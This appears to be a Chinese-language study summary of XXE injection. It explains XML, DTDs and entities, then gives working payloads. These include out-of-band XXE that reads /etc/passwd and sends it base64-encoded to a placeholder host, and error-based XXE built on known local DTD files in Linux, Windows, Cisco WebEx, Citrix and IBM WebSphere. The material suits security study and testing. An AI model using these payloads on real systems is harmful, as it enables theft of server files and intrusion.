XXE 小结
先搬上先知的一段总结
本页目录
0x01 简介
先搬上先知的一段总结
i. XML
XML是类似HTML的标记语言,但它们有所不同。
- 其一,HTML用于表现数据,关注数据的表现形式,XML用于存储和传输数据,关注数据本身。
- 其二,HTML的标签是预定义的,而XML的标签是自定义的,或者说,任意的。
- 此外,XML语法更严格,其标签必须闭合且正确嵌套,大小写敏感,属性值必须加引号,保留连续空白符。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
ii. DTD
XML元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如 < 的特殊字符,解析就会失败,为了避免这种情况,XML用实体引用(entity reference)替换特殊字符。XML预定义了五个实体引用,即用< > & ' " 替换 < > & ' " 。
实际上,实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。DTD是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。
DTD有两种形式:
内部 DTD: <!DOCTYPE 根元素 [元素声明]>外部 DTD: <!DOCTYPE 根元素 SYSTEM "存放元素声明的文件的URI,可以是本地文件或网络文件" [可选的元素声明]> <!DOCTYPE 根元素 PUBLIC "PUBLIC_ID DTD的名称" "外部DTD文件的URI">( PUBLIC表示 DTD文件是公共的,解析器先分析 DTD名称,没查到再去访问 URI)iii. ENTITY
我们可以在元素声明中自定义实体,和DTD类似也分为内部实体和外部实体,此外还有普通实体和参数实体之分:
声明
<!DOCTYPE 根元素 [<!ENTITY 内部普通实体名 "实体所代表的字符串">]><!DOCTYPE 根元素 [<!ENTITY 外部普通实体名 SYSTEM "外部实体的URI">]><!DOCTYPE 根元素 [<!ENTITY % 内部参数实体名 "实体所代表的字符串">]><!DOCTYPE 根元素 [<!ENTITY % 外部参数实体名 SYSTEM "外部实体的URI">]>除了 SYSTEM关键字外,外部实体还可用 PUBLIC关键字声明。URL 支持的协议

引用
&普通实体名; //经实验,普通实体既可以在 DTD 中,也可以在 XML 中引用,可以在声明前引用,可以在在元素声明内部引用%参数实体名; //经实验,参数实体只能在 DTD 中引用,不能在声明前引用,不能在元素声明内部引用注意事项
-
外部 DTD 中,如果外部(普通|参数)实体中想要引用内部参数实体,需要在此实体上层添加内部(普通|参数)实体声明,并先引用上层内部实体
原因可能是在内部实体中引用会将值解析进去,而外部实体只会直接请求 URL 字符串,不解析其中的引用
外部 test.dtd 文件<!------- Failure -------><!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % send SYSTEM "http://xxx/?%file;">%send;<!------- Success -------><!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % top '<!ENTITY % send SYSTEM "http://xxx/?%file;">'>%top;%send; -
在内部 DTD 中,不能在实体声明中出现实体引用
<!------- Failure -------><?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ENTITY % in "123"><!ENTITY % out "%in;">%out;]>会报错
PEReferences forbidden in internal subset in Entity,XML 文档中对此有所提及Well-formedness constraint: PEs in Internal Subset
In the internal DTD subset, parameter-entity references must not occur within markup declarations; they may occur where markup declarations can occur. (This does not apply to references that occur in external parameter entities or to the external subset.)
iv. 可能造成的危害
- 本地文件读取
- 内网访问,主机/端口扫描
- 网络访问
- 系统命令执行(特定协议,如PHP的expect)
- 拒绝服务(嵌套引用,指数爆炸)
v. Libxml 与 PHP
自 libxml 2.9.0 以后,开始默认禁止解析外部实体,与 PHP 版本没有根本性关系
v2.9.5: Sep 04 2017 Security:Detect infinite recursion in parameter entities (Nick Wellnhofer) Prevent unwanted external entity referencev2.9.2: Oct 16 2014 Security: Fix for CVE-2014-3660 billion laugh variant (Daniel Veillard), CVE-2014-0191 Do not fetch external parameter entities (Daniel Veillard)2.9.1: Apr 19 2013 Activate detection of encoding in external subset2.9.0: Sep 11 2012 Do not fetch external parsed entities0x02 OOB XXE
payload
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY % load SYSTEM "http://xxx/external.dtd">%load;]>external.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % top ' <!ENTITY % send SYSTEM "http://xxx/?%file;">'>%top;%send;0x03 Error XXE
通常用于无法访问外网,加载自定义外部 DTD 时候采用,需要服务器开启相关报错
i. Local DTD
作者假设在服务器内发现一个sip-app_1_0.dtd文件,其内容如下
…<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"><!ELEMENT pattern (%condition;)>…作者payload,通过替换%condition;值,由于是由payload发起调用dtd,所以在有两个同名实体的情况下,以第一个为主,即payload中的声明为主
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
<!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'>
%local_dtd;]><message>any text</message>本地 DTD 文件
作者发现了几个常见的本地 DTD 文件
Linux 系统
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"><!ENTITY % ISOamsa 'Your DTD code'>%local_dtd;Windows系统
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"><!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>%local_dtd;思科WebEx
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"><!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>%local_dtd;Citrix XenMobile服务器
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"><!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>%local_dtd;多平台IBM WebSphere应用
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"><!ENTITY % xs-datatypes 'Your DTD code'><!ENTITY % simpleType "a"><!ENTITY % restriction "b"><!ENTITY % boolean "(c)"><!ENTITY % URIref "CDATA"><!ENTITY % XPathExpr "CDATA"><!ENTITY % QName "NMTOKEN"><!ENTITY % NCName "NMTOKEN"><!ENTITY % nonNegativeInteger "NMTOKEN">%local_dtd;ii. Without Local DTD
来自于 P 牛的知识星球,貌似在嵌套实体中,可以在标记声明中出现内部参数引用?
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % NUMBER ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %NUMBER;]><message>any text</message>